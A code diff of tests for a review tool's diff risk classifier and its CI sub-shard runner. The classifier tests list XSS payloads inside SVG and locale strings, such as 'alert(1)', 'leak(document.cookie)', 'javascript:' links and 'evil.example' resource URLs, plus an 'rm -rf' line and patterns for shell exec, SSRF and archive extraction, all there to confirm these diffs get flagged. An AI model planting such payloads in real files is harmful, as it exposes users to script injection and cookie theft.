"includes(" + ' '.repeat(L), '==' + ' '.repeat(L) + "'..'", "'..'" + ' '.repeat(L) + '==', '\\.' + '\\'.repeat(L)]);
test.each(Object.entries({ SECURITY_LINE, DATA_LINE, SECRET_LINE, MONEY_LINE }))('every %s pattern finishes under 100 ms on each 200k-character hostile line', (_n, patterns) => {
const slow = patterns.flatMap(r => hostile.map((s, k) => [r.source.slice(0, 40), k, fast(() => r.test(s))] as const)).filter(([, , ms]) => ms >= 100);
expect(slow).toEqual([]);
});
test('a 512 KB comment of unclosed imports and a minified import line run through matchRisk in under 1 s', () => {
expect(fast(() => scan(Array.from({ length: 65_536 }, () => 'import {')))).toBeLessThan(1000);
expect(fast(() => scan(['import a, {'.repeat(32_000)]))).toBeLessThan(1000);
});
});
describe('the rules hashes cover every new pattern', () => {
// Value: protects=a receipt or queue verdict notices a risk-pattern edit; fails_when=an edit to a security pattern or a money
// word leaves DEPTH_RULES unchanged; seam=DEPTH_RULES over RISK_RULES
test.each([
["'billable', 'billed'", "'billable', 'billed', 'tariff'"],
['extract-zip|unzipper', 'extract-zip|unzipper|jszip'],
["['proxy', ['billing', 'bill']]", "['proxy', ['billing', 'bill', 'meter']]"],
])('editing review-risk.ts (%s) changes DEPTH_RULES', (needle, to) => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'risk-rules-'));
try {
for (const f of ['review-depth.ts', 'review-risk.ts']) fs.copyFileSync(path.join(ROOT, 'lib', f), path.join(dir, f));
fs.symlinkSync(path.join(ROOT, 'lib/ship-policy.ts'), path.join(dir, 'ship-policy.ts'));
fs.writeFileSync(path.join(dir, 'print.ts'), "import { DEPTH_RULES } from './review-depth';\nconsole.log(DEPTH_RULES);\n");
const hash = () => {
const r = spawnSync(process.execPath, ['--no-env-file', '--config=/dev/null', path.join(dir, 'print.ts')], { encoding: 'utf8', timeout: 30_000 });
expect(r.status, r.stderr).toBe(0);
return r.stdout.trim();
};
const before = hash();
const src = fs.readFileSync(path.join(dir, 'review-risk.ts'), 'utf8');
expect(src).toContain(needle);
fs.writeFileSync(path.join(dir, 'review-risk.ts'), src.replace(needle, to));
expect(before).toMatch(/^[0-9a-f]{16}$/);
expect(hash()).not.toBe(before);
} finally { fs.rmSync(dir, { recursive: true, force: true }); }
});
});
+180
View File
@@ -121,3 +121,183 @@ describe('the receipt records the tier and the rounds', () => {
expect(receiptSummaryLine(legacy)).not.toContain('rounds=');
});
});
const SVG_PATH = 'docs/evals/chart.svg';
const CHART = ['<?xml version="1.0" encoding="UTF-8"?>', '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 100" role="img" aria-label="recall by arm">', ' <title>Recall by arm</title>',
' <defs><linearGradient id="g"><stop offset="0" stop-color="#4a90d9"/><stop offset="1" stop-color="#1c5fa8"/></linearGradient></defs>', ' <g font-family="sans-serif" font-size="10">',
' <rect x="10" y="20" width="40" height="70" fill="url(#g)" style="opacity: 0.9"/>', ' <path d="M10 90 H190" stroke="#333" stroke-width="1"/>', ' <text x="30" y="15" text-anchor="middle">33/41 &amp; up</text>', ' <use href="#g"/>', ' </g>', '</svg>', ''];
const classOf = (p: string, added: string[], removed: string[] = [], created: string[] = []) =>
classifyDiff({ paths: [p], created, gateTagged: 0, added: { [p]: added }, removed: { [p]: removed }, perPath: [{ path: p, lines: added.length + removed.length, binary: false }] }).class;
const svgClass = (lines: string[]) => classOf(SVG_PATH, lines, [], [SVG_PATH]);
const swap = (from: string, to: string) => CHART.map(l => l.replace(from, to));
describe('GST-850 choice A: a clean chart SVG and a locale value edit stay code (light)', () => {
// Value: protects=UI text and SVGs keep one batched reader plus the native adversarial pass (the allowlist docs paths were dropped
// for review cost); fails_when=a clean chart or a locale value edit plans as docs, or the batched specialist drops a write-up
// that publishes numbers; seam=classifyDiff and planReview
test('a new clean chart SVG is code, and a write-up with it plans light with the batched reader', () => {
expect(svgClass(CHART)).toBe('code');
const md = 'docs/evals/run.md';
const added = { [md]: ['Recall rose to 33/41.'], [SVG_PATH]: CHART };
const p = plan({ paths: [md, SVG_PATH], created: [SVG_PATH], added, removed: {}, perPath: [{ path: md, lines: 1, binary: false }, { path: SVG_PATH, lines: CHART.length, binary: false }], numbers: scanNumbers(added) });
expect([p.depth, roles(p)]).toEqual(['light', ['specialist', 'adversarial-native', 'outside-voice']]);
});
test('the batched specialist reads a write-up that publishes numbers, and leaves docs out when nothing is published', () => {
const md = 'docs/evals/run.md', code = 'scripts/score.ts';
const base = { paths: [code, md], added: { [code]: ['export const k = 1;'], [md]: ['Recall rose to 33/41.'] }, removed: {}, perPath: [{ path: code, lines: 1, binary: false }, { path: md, lines: 1, binary: false }] };
const batched = (numbers: ReturnType<typeof scanNumbers>) => plan({ ...base, numbers }).dispatches.find(d => d.name === 'batched')!.exclude.join(' ');
expect(batched(scanNumbers(base.added))).not.toContain(md);
expect(batched(none)).toContain(md);
});
test.each([
['json', 'locales/en.json', ' "save": "Save",', ' "save": "Save now",'],
['arb', 'lib/l10n/app_en.arb', ' "greeting": "Hello {name}",', ' "greeting": "Hi there {name}",'],
['yaml quoted', 'app/i18n/en.yml', ' save: "Save"', ' save: "Save now"'],
['yaml plain', 'locales/en.yaml', ' cancel: Cancel', ' cancel: Cancel it'],
['po', 'locale/fr/LC_MESSAGES/app.po', 'msgstr "Enregistrer %s"', 'msgstr "Sauvegarder %s"'],
['strings', 'Resources/lang/en.lproj/Localizable.strings', '"save" = "Save";', '"save" = "Save now";'],
['xliff', 'translations/messages.fr.xlf', ' <target>Enregistrer</target>', ' <target>Sauvegarder</target>'],
['ftl', 'locales/en-US/main.ftl', 'welcome = Welcome, { $user }!', 'welcome = Hello, { $user }!'],
['properties', 'src/main/resources/i18n/messages_en.properties', 'button.save=Save', 'button.save=Save now'],
])('a %s value edit under a locale directory is code', (_n, p, before, after) => {
expect(classOf(p, [after], [before])).toBe('code');
});
});
describe('GST-850: every bypass of the line-pattern docs paths stays code', () => {
// Value: protects=active or bound content never plans as docs; fails_when=any bypass from GST-850 or a sibling spelling classes docs;
// seam=classifyDiff
test.each([
['namespaced <s:script>', ['<svg xmlns:s="http://www.w3.org/2000/svg"><s:script>window.x=42</s:script></svg>']],
['a <script> element', swap('<title>', '<script>alert(1)</script><title>')],
['an uppercase SCRIPT', swap('<title>', '<SCRIPT>alert(1)</SCRIPT><title>')],
['a multi-line onload attribute', ['<svg xmlns="http://www.w3.org/2000/svg"', ' onload', ' ="alert(1)">', '</svg>']],
['an onclick handler', swap('<rect ', '<rect onclick="alert(1)" ')],
['a Vue :fill binding', swap('<rect ', '<rect :fill="leak(document.cookie)" ')],
['a v-bind: binding', swap('<rect ', '<rect v-bind:fill="x" ')],
['an Alpine x-bind: binding', swap('<rect ', '<rect x-bind:fill="x" ')],
['an @click binding', swap('<rect ', '<rect @click="x()" ')],
['mustache text', swap('33/41 &amp; up', '{{ constructor.constructor("alert(1)")() }}')],
['a foreignObject', swap('<title>', '<foreignObject><div>x</div></foreignObject><title>')],
['an animate on href', swap('<use href="#g"/>', '<use href="#g"><animate attributeName="href" to="javascript:alert(1)"/></use>')],
['a set element', swap('<use href="#g"/>', '<set attributeName="fill" to="red"/>')],
['a doctype with an entity', ['<!DOCTYPE svg [<!ENTITY x "y">]>', ...CHART.slice(1)]],
['an xlink:href', swap('<use href="#g"/>', '<use xlink:href="#g"/>')],
['an outside use href', swap('<use href="#g"/>', '<use href="https://evil.example/x.svg#a"/>')],
['an href off use', swap('<text x="30"', '<text href="#g" x="30"')],
['a style url(', swap('style="opacity: 0.9"', 'style="fill: url(#g)"')],
['a style @import', swap('style="opacity: 0.9"', 'style="@import url(x.css)"')],
['an outside fill url', swap('fill="url(#g)"', 'fill="url(https://evil.example/x)"')],
['a CSS-escaped url', swap('fill="url(#g)"', 'fill="\\75rl(https://evil.example/x)"')],
['an xml-stylesheet instruction', ['<?xml-stylesheet href="https://evil.example/x.css"?>', ...CHART.slice(1)]],
['a CDATA section', swap('33/41 &amp; up', '<![CDATA[<script>x</script>]]>')],
['an image element', swap('<title>', '<image href="https://evil.example/x.png"/><title>')],
['a style element', swap('<title>', '<style>@import url(x.css);</style><title>')],
['another namespace', swap('xmlns="http://www.w3.org/2000/svg"', 'xmlns="http://www.w3.org/1999/xhtml"')],
['a numeric entity in an attribute', swap('fill="url(#g)"', 'fill="&#117;rl(https://evil.example/x)"')],
['an unclosed root', CHART.slice(0, -2)],
['two roots', [...CHART, '<svg xmlns="http://www.w3.org/2000/svg"></svg>']],
['text after the root', [...CHART, 'trailing']],
['an HTML-closed empty comment <!-->', swap('<title>', '<!--><image width="1" height="1"/>--><title>')],
['an HTML-closed empty comment <!--->', swap('<title>', '<!---><foreignObject/>--><title>')],
['numeric references spelling an interpolation', swap('33/41 &amp; up', '&#123;&#123;run()&#125;&#125;')],
['an attribute interpolation', swap('<text x="30"', '<text class="{{run()}}" x="30"')],
])('a new SVG with %s is code', (_n, lines) => {
expect(svgClass(lines as string[])).toBe('code');
});
test('an edited SVG is code even when both sides are clean', () => {
expect(classOf(SVG_PATH, CHART, swap('33/41', '30/41'))).toBe('code');
expect(classOf(SVG_PATH, CHART)).toBe('code');
});
test.each([
['i18n .ts', 'src/i18n/en.ts', " save: 'Save',", " save: 'Save now',"],
['string-concat HTML', 'src/App.tsx', "const html = '<h1>' + title + '</h1>';", "const html = '<h1>' + leak() + '</h1>';"],
['an edit inside an existing <script>', 'src/App.vue', ' const label = "Save";', ' const label = "Save now";'],
['a Vue :title binding', 'src/App.vue', '<div :title="user.name">Profile</div>', '<div :title="leak(document.cookie)">Profile</div>'],
['a markup value', 'locales/en.json', ' "save": "Save",', ' "save": "<img src=x onerror=alert(1)>",'],
['a changed placeholder', 'locales/en.json', ' "hi": "Hi {name}",', ' "hi": "Hi {user.password}",'],
['a new mustache expression', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi {{constructor.constructor(1)()}}",'],
['a vue-i18n linked message', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi @:secret.key",'],
['an i18next nesting', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi $t(secret)",'],
['a renamed key', 'locales/en.json', ' "save": "Save",', ' "store": "Save",'],
['an escaped character', 'locales/en.json', ' "save": "Save",', ' "save": "\\u003cscript\\u003e",'],
['a script URL', 'locales/en.yml', ' link: "https://example.com"', ' link: "javascript:alert(1)"'],
['a locale file outside a locale directory', 'src/en.json', ' "save": "Save",', ' "save": "Save now",'],
['a locale file under config/', 'config/locales/en.yml', ' save: "Save"', ' save: "Save now"'],
['an escaped script scheme', 'locales/en.json', ' "go": "Continue",', ' "go": "java\\nscript:alert(1)",'],
['a protocol-relative link', 'locales/en.json', ' "help": "[docs](/help)",', ' "help": "[docs](//evil.example/help)",'],
['a YAML null', 'locales/en.yml', ' label: Save', ' label: null'],
['a YAML boolean', 'locales/en.yml', ' label: Save', ' label: false'],
['a renamed gettext placeholder', 'locale/fr/LC_MESSAGES/app.po', 'msgstr "Bonjour %(name)s"', 'msgstr "Bonjour %(password)s"'],
['an Ansible task under a locale role', 'roles/locale/tasks/main.yml', ' command: a-tool one', ' command: b-tool two'],
['a non-message .properties under lang/', 'src/main/resources/lang/app.properties', 'db.url=host-a', 'db.url=host-b'],
['a non-locale JSON under lang/', 'tools/lang/rules.json', ' "pattern": "^[a-z]+$",', ' "pattern": ".*",'],
['a locale value carrying a risk line', 'src/i18n/en.yml', ' command: echo ok', ' command: rm -rf /tmp/x'],
])('%s is code', (_n, p, before, after) => {
expect(classOf(p, [after], [before])).toBe('code');
});
test('an added key and the backtracking input are code, and the input finishes fast', () => {
expect(classOf('locales/en.json', [' "extra": "Extra",'])).toBe('code');
expect(classOf('src/i18n/en.yml', [' title: Hello', ' sub: World'], [' title: Hello', ' sub: World'])).toBe('code');
const t = performance.now();
expect(classOf('locales/en.yml', [' save: "' + '\\'.repeat(10_000) + 'x'], [' save: "Save"'])).toBe('code');
expect(classOf('locales/en.yml', [' save: "' + '\\'.repeat(9_999) + '"'], [' save: "Save"'])).toBe('code');
expect(performance.now() - t).toBeLessThan(100);
});
});
describe('GST-850: security reaches outbound URLs, archives, path traversal and every child_process spelling', () => {
// Value: protects=an SSRF, archive-extraction, traversal or shell-exec diff reaches the full panel; fails_when=a spelling of any of
// them reads light, or a literal URL, a spawnSync import or a tarball create raises a class; seam=matchRisk
test.each([
"import { exec } from 'node:child_process';", 'import { execSync as run } from "child_process";', "import { spawn, spawnSync } from 'node:child_process';",
"import cp from 'node:child_process';", "import * as cp from 'child_process';", "import cp, { spawnSync } from 'child_process';",
"const { exec } = require('child_process');", "const cp = require('node:child_process');", "const cp = await import('node:child_process');",
'exec(cmd, cb);', 'cp.exec(cmd);', "import { spawnSync } from 'node:child_process';", "import type { ExecOptions } from 'node:child_process';",
"const r = await fetch('https://api.github.com/repos');", 'r = requests.request("GET", user_url)', "http.get('http://x.example/', { hostname: req.query.t }, cb);", 'const res = await fetch(url);', "await fetch('https://' + host + '/v1');", 'https.get(target, cb);', 'await axios.get(req.query.u);', 'const body = await got(url).text();',
'r = requests.get(url, timeout=5)', 'urllib.request.urlopen(target)', 'const next = new URL(req.query.next, base);', "import { request } from 'undici';",
"const res = await fetch('https://x.example', { redirect: 'follow' });", 'maxRedirects: 10,', 'r = httpx.get("https://x.example", follow_redirects=True)', 'const p = process.env.HTTPS_PROXY;', 'const agent = new HttpsProxyAgent(p);',
"const ALLOWED_HOSTS = ['api.example.com'];", 'hostAllowlist.push(h);',
'await tar.x({ file, cwd: dest });', 'new AdmZip(buf).extractAllTo(dir, true);', "import yauzl from 'yauzl';", "import extract from 'extract-zip';", 'zipfile.ZipFile(p).extractall(d)',
'tarfile.open(p).extractall(d)', 'tar -xzf "$TGZ" -C "$DIR"', 'unzip -o "$ZIP" -d "$DIR"', 'fs.writeFileSync(path.join(root, entry.path), data);', 'const dest = path.resolve(out, req.params.name);',
"if (rel.startsWith('..')) throw new Error('escape');", "if (parts.includes('..')) return;",
])('%s is security', line => {
expect(risk(['src/net.ts'], { 'src/net.ts': [line] })).toEqual(['security']);
});
test('a named import split over lines is security, from either side of the diff', () => {
const split = ['import {', ' spawnSync,', ' exec,', "} from 'node:child_process';"];
expect(risk(['src/run.ts'], { 'src/run.ts': split })).toEqual(['security']);
expect([...matchRisk({ codePaths: ['src/run.ts'], added: {}, removed: { 'src/run.ts': split }, scopeAuth: false }).keys()]).toEqual(['security']);
expect(risk(['src/run.ts'], { 'src/run.ts': ['import {', ' type ExecOptions,', ' exec as run,', "} from 'node:child_process';"] })).toEqual(['security']);
});
test('a literal new URL, tarball creation, parent-dir joins and look-alike names are not security', () => {
for (const line of ["const u = new URL('https://example.com');", 'const here = new URL(import.meta.url);', 'tar -czf out.tgz dir', "const root = path.join(import.meta.dir, '..');",
'const m = re.exec(line);', "ENV.fetch('HOME')", 'git fetch origin main'])
expect(risk(['src/run.ts'], { 'src/run.ts': [line] })).toEqual([]);
});
});
describe('GST-850: money reaches metering, charge and credit code', () => {
// Value: protects=a billing-client or metering diff gets the money reader; fails_when=gbrain-evals #289 reads required=none again,
// or costume, a CLI usage line or a proxy with no billing names money; seam=matchRisk and targetedClasses
test('gbrain-evals #289 (metering proxy and particle billing clients) reads money, each code path on its own', () => {
const x = JSON.parse(fs.readFileSync(path.join(ROOT, 'test/fixtures/review-risk/gbrain-evals-289.json'), 'utf8'));
expect(targetedClasses({ paths: x.paths, added: x.added, removed: x.removed, scope: { SCOPE_AUTH: 'false' }, gateTagged: 0 }).classes).toEqual(['money']);
expect(classifyDiff({ paths: x.paths, added: x.added, removed: x.removed, gateTagged: 0 }).risk).toContain('money');
const code = Object.keys({ ...x.added, ...x.removed });
expect(code.length).toBe(7);
for (const p of code) expect(matchRisk({ codePaths: [p], added: { [p]: x.added[p] ?? [] }, removed: { [p]: x.removed[p] ?? [] }, scopeAuth: false }).has('money')).toBe(true);
});
test('metering, charge and credit words and pairs name money; costume, CLI usage and a plain proxy do not', () => {
expect(risk(['eval/runner/harness-metering-proxy.ts'])).toEqual(['money']);
expect(risk(['lib/usage-tokens.ts'])).toEqual(['money']);
for (const line of ['if (compatMayHaveBilled(e)) break;', 'const left = credits - spent;', 'await meter.record(n);', 'const usd = res.usage.output_tokens * rate;',
'const billingProxy = startProxy();', 'export class CostClient {', 'const billable = true;'])
expect(risk(['src/run.ts'], { 'src/run.ts': [line] })).toEqual(['money']);
expect(risk(['src/costume.ts'])).toEqual([]);
expect(risk(['src/cli/usage.ts'], { 'src/cli/usage.ts': ['export function printUsage() { console.log(USAGE); }'] })).toEqual([]);
expect(risk(['src/proxy.ts'], { 'src/proxy.ts': ['const target = proxyTarget(host);'] })).toEqual([]);
expect(risk(['src/geometry.ts'], { 'src/geometry.ts': ['const diameter = 2 * r; // a parameter'] })).toEqual([]);
expect(classifyDiff({ paths: ['docs/usage.md'], gateTagged: 0, added: { 'docs/usage.md': ['Usage: gstack run'] }, removed: {} }).risk).toEqual([]);
});
});
+465
View File
@@ -0,0 +1,465 @@
/**
* Sub-shards inside one CI job (`--ci-run … --jobs k`, scripts/lib/shard-jobs.ts):
* the k = 1 golden path, identity-bound assignment, rejection of missing,
* duplicate and incomplete sub-shard results, one retry pass per CI shard,
* serial TREE_MUTATING and SLOW_UNDER_LOAD files, the timeout text, and per-file
* test and expect() counts from real bun children at k = 1 and k > 1.
*/
import { describe, expect, spyOn, test } from 'bun:test';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import {
collectFreeTestFiles, createFreeCiPlan, eligibleFreeRetryFiles, parseCliOptions, runFreeShard, TREE_MUTATING, verifyFreeCiResults,
type FreeCiResult, type FreeShardOutcome,
} from '../scripts/test-free-shards';
import {
assertSoloSeedSample, assignSubShards, ciRunContext, FREE_JOBS_INVALID, mergeSubShardOutcomes, parseJobsFlag, parseJunitCounts,
readJunitReport, runCiShard, SLOW_UNDER_LOAD, subShardRecordProblems, subShardTimeoutText, validateJobsForShard, type CiShardDeps, type RunShardOptions,
} from '../scripts/lib/shard-jobs';
const ROOT = path.resolve(import.meta.dir, '..');
const EXCLUSIVE = Object.keys(TREE_MUTATING)[0];
const files = Array.from({ length: 7 }, (_, i) => `test/sample-${i}.test.ts`);
const durations = Object.fromEntries(files.map((file, i) => [file, (i + 1) * 1_000]));
const context = { planPath: 'plan.json', runId: '123/attempt 2', runner: 'runner-7 (linux, 8 CPUs)' };
const passed = (shardFiles: string[], shard = 1): FreeShardOutcome => ({
shard, files: shardFiles, status: 'passed', exitCode: 0, elapsedMs: 5, groupPid: null, failingFiles: [], unattributedFailures: 0,
summary: { testsRan: shardFiles.length * 2, filesRan: shardFiles.length, sawTerminalSummary: true },
});
const failed = (shardFiles: string[], failing: string[], shard = 1): FreeShardOutcome => ({
...passed(shardFiles, shard), status: 'failed', exitCode: 1, failingFiles: failing,
});
function harness(shardFiles: string[], respond: (files: string[]) => FreeShardOutcome | Promise<FreeShardOutcome> = passed) {
const calls: Array<{ files: string[]; shardNumber: number; totalShards: number; options: RunShardOptions; startedAt: number; endedAt?: number }> = [];
const retries: FreeShardOutcome[][] = [];
const guards: Array<{ files: string[]; shards: number }> = [];
let homeChange: string | null = null;
let terminate = false;
const deps: CiShardDeps = {
async runShard(runFiles, shardNumber, totalShards, options) {
const call: (typeof calls)[number] = { files: runFiles, shardNumber, totalShards, options, startedAt: performance.now() };
calls.push(call);
await new Promise(resolve => setTimeout(resolve, 20));
try { return await respond(runFiles); } finally { call.endedAt = performance.now(); }
},
async retry(outcomes) {
retries.push(outcomes);
return { exitCode: outcomes.every(outcome => outcome.status === 'passed') ? 0 : 1, retry: null };
},
pack: (packFiles, count) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i)),
isSerial: file => file in TREE_MUTATING || file in SLOW_UNDER_LOAD,
terminationRequested: () => terminate,
phaseGuard: (guarded, shards) => { guards.push({ files: guarded, shards }); return { verify: () => homeChange }; },
log: () => {},
};
const plan = { version: 1 as const, revision: 'revision-a', id: 'plan-id-for-tests', shards: [{ shard: 1, files: shardFiles, predictedMs: 0 }] };
const shard = plan.shards[0];
const run = (jobs: number) => runCiShard({ plan, shard, revision: 'revision-a', jobs, wallTimeoutMs: 360_000, verbose: false, context }, deps);
return { calls, retries, guards, deps, plan, shard, run, setHomeChange: (value: string) => { homeChange = value; }, cancel: () => { terminate = true; } };
}
describe('--jobs validation (FREE_JOBS_INVALID)', () => {
test('accepts positive whole numbers and rejects everything else with the code and the precedence note', () => {
expect(parseJobsFlag('1')).toBe(1);
expect(parseJobsFlag('4')).toBe(4);
for (const raw of ['0', '-1', '2.5', 'abc', '', ' 2', undefined]) {
expect(() => parseJobsFlag(raw)).toThrow(FREE_JOBS_INVALID);
expect(() => parseJobsFlag(raw)).toThrow(/GSTACK_FREE_JOBS sets the local full-suite process count and never changes --ci-run/);
}
});
test('--jobs belongs to --ci-run only, and an absent --jobs leaves the parsed options unchanged', () => {
const base = ['--ci-run', 'plan.json', '--shard', '1', '--result', 'r.json'];
expect(parseCliOptions([...base, '--jobs', '4']).jobs).toBe(4);
expect('jobs' in parseCliOptions(base)).toBe(false);
expect(() => parseCliOptions([...base, '--jobs', '0'])).toThrow(FREE_JOBS_INVALID);
expect(() => parseCliOptions([...base, '--jobs'])).toThrow(FREE_JOBS_INVALID);
expect(() => parseCliOptions(['--jobs', '2'])).toThrow(`${FREE_JOBS_INVALID}: --jobs needs --ci-run`);
expect(() => parseCliOptions(['--ci-plan', 'p.json', '--jobs', '2'])).toThrow(FREE_JOBS_INVALID);
});
test('k may not exceed the shard file count; an empty shard still takes 1', () => {
expect(() => validateJobsForShard(4, 4, 3)).not.toThrow();
expect(() => validateJobsForShard(1, 0, 21)).not.toThrow();
expect(() => validateJobsForShard(5, 4, 3)).toThrow(`${FREE_JOBS_INVALID}: --jobs 5 is more than CI shard 3's 4 file(s); use 1 to 4.`);
expect(() => validateJobsForShard(2, 0, 21)).toThrow(FREE_JOBS_INVALID);
});
});
describe('k = 1 golden: PR 2 changes nothing in CI', () => {
test('one child over the whole planned shard with the same wall, one retry pass, and the same result keys', async () => {
const h = harness(files);
const { result, exitCode } = await h.run(1);
expect(h.calls.map(({ files: f, shardNumber, totalShards, options }) => ({ f, shardNumber, totalShards, options }))).toEqual([
{ f: h.shard.files, shardNumber: 1, totalShards: 1, options: { wallTimeoutMs: 360_000, verbose: false, testCounts: true } },
]);
expect(h.guards).toEqual([]);
expect(h.retries).toEqual([[passed(h.shard.files)]]);
expect(h.calls[0].options.wallTimeoutMs).toBe(360_000);
expect(Object.keys(result)).toEqual(['planId', 'revision', 'outcome', 'retry']);
expect(result).toEqual({ planId: h.plan.id, revision: 'revision-a', outcome: passed(h.shard.files), retry: null });
expect(exitCode).toBe(0);
});
test('a k = 1 failure reaches the retry pass as the child reported it', async () => {
const h = harness(files, runFiles => failed(runFiles, [runFiles[0]]));
const { result, exitCode } = await h.run(1);
expect(h.retries).toEqual([[failed(h.shard.files, [h.shard.files[0]])]]);
expect(result.outcome).toBe(h.retries[0][0]);
expect(exitCode).toBe(1);
});
});
describe('sub-shard assignment', () => {
const pack = (packFiles: string[], count: number) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i));
test('disjoint, identity-bound, covering the shard once, with exclusive files in one trailing serial sub-shard', () => {
const shardFiles = [...files, EXCLUSIVE];
const assignments = assignSubShards('plan-id-for-tests', { shard: 4, files: shardFiles }, 3, file => file in TREE_MUTATING, pack);
expect(assignments.map(entry => [entry.id, entry.phase, entry.files.length])).toEqual([
['plan-id-for-:4.1', 'parallel', 3], ['plan-id-for-:4.2', 'parallel', 2], ['plan-id-for-:4.3', 'parallel', 2], ['plan-id-for-:4.4', 'serial', 1],
]);
expect(assignments.at(-1)!.files).toEqual([EXCLUSIVE]);
expect(assignments.flatMap(entry => entry.files).sort()).toEqual([...shardFiles].sort());
});
test('k is clamped to the parallel file count and a shard of only exclusive files stays one serial child', () => {
expect(assignSubShards('p', { shard: 1, files: files.slice(0, 2) }, 4, () => false, pack).length).toBe(2);
expect(assignSubShards('p', { shard: 1, files: [EXCLUSIVE] }, 1, file => file in TREE_MUTATING, pack)
.map(entry => entry.phase)).toEqual(['serial']);
});
test('a packer that drops or repeats a file is rejected before any child starts', () => {
expect(() => assignSubShards('p', { shard: 2, files }, 2, () => false, packFiles => [packFiles, [packFiles[0]]])).toThrow(/FREE_SUBSHARD_REJECTED/);
expect(() => assignSubShards('p', { shard: 2, files }, 2, () => false, packFiles => [packFiles.slice(1)])).toThrow(/exactly once/);
});
});
describe('k > 1: merge, rejection and one retry pass per CI shard', () => {
test('parallel sub-shards share the concurrent home guard, then exclusive files run alone after they settle', async () => {
const h = harness([...files, EXCLUSIVE]);
const { result, exitCode } = await h.run(3);
expect(exitCode).toBe(0);
const parallel = h.calls.filter(call => !call.files.includes(EXCLUSIVE));
const serial = h.calls.find(call => call.files.includes(EXCLUSIVE))!;
expect(parallel).toHaveLength(3);
expect(parallel.every(call => typeof call.options.homeGuard === 'function')).toBe(true);
expect(serial.options.homeGuard).toBeUndefined();
expect(serial.files).toEqual([EXCLUSIVE]);
expect(serial.startedAt).toBeGreaterThanOrEqual(Math.max(...parallel.map(call => call.endedAt!)));
expect(h.guards).toEqual([{ files: parallel.flatMap(call => call.files), shards: 3 }]);
expect(h.calls.every(call => call.totalShards === 4)).toBe(true);
expect(parallel.every(call => call.options.wallTimeoutMs === 360_000)).toBe(true);
expect(serial.options.wallTimeoutMs).toBeLessThan(360_000);
expect(serial.options.wallTimeoutMs).toBeGreaterThan(350_000);
expect(result.jobs).toBe(3);
expect(result.outcome).toMatchObject({ shard: 1, files: h.shard.files, status: 'passed', exitCode: 0, failingFiles: [], unattributedFailures: 0,
summary: { testsRan: 16, filesRan: 8, sawTerminalSummary: true } });
expect(result.subShards!.map(record => record.status)).toEqual(['passed', 'passed', 'passed', 'passed']);
expect(h.retries).toHaveLength(1);
expect(() => verifyFreeCiResults(h.plan, [result])).not.toThrow();
});
test('failures from every sub-shard are collected first, so k never multiplies the five-file retry cap', async () => {
const h = harness(files, runFiles => failed(runFiles, runFiles.slice(0, 2)));
const { result, exitCode } = await h.run(3);
expect(h.retries).toHaveLength(1);
expect(h.retries[0]).toHaveLength(1);
expect(result.outcome.failingFiles).toHaveLength(6);
expect(eligibleFreeRetryFiles(h.retries[0])).toBeNull();
expect(exitCode).toBe(1);
const spread = harness(files, runFiles => failed(runFiles, runFiles.slice(0, 1)));
await spread.run(3);
expect(eligibleFreeRetryFiles(spread.retries[0])!.sort()).toEqual(spread.calls.map(call => call.files[0]).sort());
});
test('a missing, duplicate or incomplete sub-shard result fails the CI shard and vetoes the retry', async () => {
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const cases: Array<(runFiles: string[]) => FreeShardOutcome | Promise<FreeShardOutcome>> = [
runFiles => runFiles.includes(files[0]) ? Promise.reject(new Error('spawn failed')) : passed(runFiles),
runFiles => passed(runFiles.includes(files[0]) ? [...runFiles, files[1]] : runFiles),
runFiles => runFiles.includes(files[0]) ? { ...passed(runFiles), summary: { testsRan: 1, filesRan: runFiles.length - 1, sawTerminalSummary: true } } : passed(runFiles),
runFiles => runFiles.includes(files[0]) ? { ...passed(runFiles), summary: undefined } : passed(runFiles),
];
for (const respond of cases) {
errors.mockClear();
const h = harness(files, respond);
const { result, exitCode } = await h.run(3);
expect(h.calls).toHaveLength(3);
expect(result.outcome.status).toBe('failed');
expect(result.outcome.unattributedFailures).toBeGreaterThan(0);
expect(eligibleFreeRetryFiles([result.outcome])).toBeNull();
expect(exitCode).toBe(1);
expect(errors.mock.calls.map(call => String(call[0])).some(line => line.startsWith('[test:free] FREE_SUBSHARD_REJECTED: CI shard 1: plan-id-for-:1.'))).toBe(true);
}
} finally { errors.mockRestore(); }
});
test('a failed sub-shard that ran too few or too many files is rejected, so counts cannot cancel and no retry repairs it', async () => {
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const h = harness(files.slice(0, 4), runFiles => ({ ...failed(runFiles, [runFiles[0]]),
summary: { testsRan: 2, filesRan: runFiles.includes(files[0]) ? 1 : 3, sawTerminalSummary: true } }));
const { result } = await h.run(2);
expect(result.outcome.summary!.filesRan).toBe(4);
expect(result.outcome.unattributedFailures).toBeGreaterThanOrEqual(2);
expect(eligibleFreeRetryFiles([result.outcome])).toBeNull();
const forged: FreeCiResult = { ...result, outcome: { ...result.outcome, unattributedFailures: 0 },
retry: { ...passed([files[0], files[1]]), shard: 2 } };
expect(() => verifyFreeCiResults({ ...h.plan, revision: 'revision-a' } as never, [forged])).toThrow(/did not run every assigned file|identity/);
expect(subShardRecordProblems(forged)).toContain('a sub-shard did not run every assigned file');
} finally { errors.mockRestore(); }
});
test('the serial sub-shard gets only what is left of the wall, and none left means it is not launched', async () => {
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const h = harness([...files, EXCLUSIVE], async runFiles => {
if (!runFiles.includes(EXCLUSIVE)) await new Promise(resolve => setTimeout(resolve, 60));
return passed(runFiles);
});
const { result } = await runCiShard({ plan: h.plan, shard: h.shard, revision: 'revision-a', jobs: 2, wallTimeoutMs: 50, verbose: false, context }, h.deps);
expect(h.calls.some(call => call.files.includes(EXCLUSIVE))).toBe(false);
expect(result.subShards!.at(-1)).toMatchObject({ status: 'missing', phase: 'serial' });
expect(result.outcome.status).toBe('failed');
} finally { errors.mockRestore(); }
});
test('a real-home change in the concurrent phase and a cancelled serial phase both fail the shard', async () => {
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const home = harness(files);
home.setHomeChange('real home changed while 3 shards ran concurrently');
expect((await home.run(3)).result.outcome.status).toBe('failed');
